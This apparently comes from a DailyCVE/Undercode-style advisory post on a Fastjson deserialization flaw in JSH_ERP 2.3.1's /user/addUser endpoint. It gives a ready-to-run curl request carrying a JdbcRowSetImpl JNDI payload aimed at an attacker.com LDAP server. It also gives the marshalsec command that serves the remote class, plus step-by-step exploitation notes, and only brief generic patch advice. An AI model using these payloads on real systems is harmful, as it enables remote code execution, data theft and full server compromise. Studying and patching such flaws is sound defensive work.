Listen to this Post
How the CVE Works:
The vulnerability exists in the `/user/addUser` API endpoint of JSH_ERP. This endpoint accepts JSON data that is processed by the Fastjson library. An attacker can craft a malicious JSON payload containing a `@type` key with a value pointing to a dangerous Java class (e.g., com.sun.rowset.JdbcRowSetImpl). When this payload is deserialized by the vulnerable Fastjson instance, it triggers a JNDI lookup to an attacker-controlled LDAP server. This lookup then fetches and executes arbitrary remote code, granting the attacker full Remote Code Execution (RCE) on the application server.
DailyCVE Form:
Platform: JSH_ERP
Version: 2.3.1
Vulnerability: Fastjson Deserialization
Severity: Critical
Date: 11/25/2025
Prediction: Patch 12/15/2025
What Undercode Say:
curl -X POST http://target.com/user/addUser -H "Content-Type: application/json" --data '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit", "autoCommit":true}'
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker.com/Exploit
How Exploit:
Attacker sends malicious JSON payload to /user/addUser. Fastjson deserializes the `JdbcRowSetImpl` object. Deserialization forces a JNDI lookup to attacker LDAP. LDAP server responds with a reference to a remote Java class. Victim server fetches and executes the attacker’s class, achieving RCE.
Protection from this CVE:
Update Fastjson library. Validate/sanitize all inputs. Use security filters. Deploy WAF rules. Patch JSH_ERP.
Impact:
Remote Code Execution. Complete System Compromise. Data Breach. Unauthorized Access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
